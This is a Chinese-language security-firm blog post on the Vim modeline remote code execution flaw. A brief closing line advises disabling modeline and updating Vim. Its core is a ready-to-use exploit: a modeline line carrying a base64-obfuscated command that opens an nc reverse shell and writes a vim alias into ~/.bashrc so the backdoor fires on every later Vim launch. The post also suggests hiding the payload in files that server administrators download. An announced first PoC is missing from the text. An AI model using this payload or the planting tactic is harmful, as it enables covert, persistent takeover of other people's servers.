linux系統一直以來都是比較安全的,不管是系統核心還是一些第三方軟體都沒有太大的漏洞,包括前幾年爆出的redis漏洞,沒有太多漏洞,然後最近linux頻頻爆出高危的漏洞,使用vim文本編輯器很多年了,得知被爆出遠端代碼執行漏洞,有點不可思議,全國大多數的linux伺服器都使用的是vim,包括centos系統,redhat,關于該漏洞的詳情以及修複方案,我們SINE安全來詳細的跟大家介紹一下:
Linux vim漏洞詳情
我們來看一下這個linux漏洞的利用條件,首先vim編輯器的版本是在8.0上下的,目前很多linux伺服器都是8.0左右的版本,大部分的linux伺服器受該漏洞的影響,再一個利用的條件是開啟modeline選項,預設的vim配置是不自動開啟的,是以漏洞的産生是要開啟這個選項,很多低版本的VIM都不會開啟,是以漏洞的影響範圍降低了。我們來複現這個VIM POC漏洞,在VIM的配置檔案裡開啟modeline,并儲存。POC代碼如下:
上面的漏洞是可以用來遠端執行的,反向代理到我們自己的IP,進行後門連接配接,上面代碼裡的十六進制字元要轉化成二進制的表現形式,然後将反斜杠的轉義字元删除掉,可以将\n寫成Enter鍵,這樣就可以NC後門監聽到我們自己的電腦IP,建立起遠端反彈後門,對linux進行操作。
我們在實際漏洞測試當中還發現上面的POC代碼并不能持久化的建立後門連接配接,運作一次後,第二次運作隻能是普通文本的方式運作了,我們可以構造一下宏的木馬後門,每次運作vim指令都執行我們設定好的木馬後門NC反彈位址,代碼如下:
[?7lSNothingqy:silent! w | call system('echo "IG5vaHVwIG5jIDEyNy4wLjAuMSA5OTk5IC1lIC9iaW4vc2ggPi9kZXYvbnVsbCAyPiYxICYgZWNobyAiYWxpYXMgdmltPSd2aW0gLWMgXCJAeVwiJ1xuIHNob3B0IC1zIGV4cGFuZF9hbGlhc2VzXG4iID4+IH4vLmJhc2hyYw=="| -d | sh') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing."[Dq
整個linux vim漏洞利用前提是要開啟這個modeline配置,很多伺服器預設是不開啟這個選項的,不過有些伺服器的系統版本包括centos 6.0版本的都會開啟這個配置,有些伺服器運維人員可能會下載下傳配置檔案,以及代碼,可以直接在代碼裡加入後門,讓他們VIM編輯的時候觸發漏洞,總之隻要打開了這個檔案就會中招,關于該linux 漏洞的修複,建議将modeline關閉,并更新VIM到最新版本。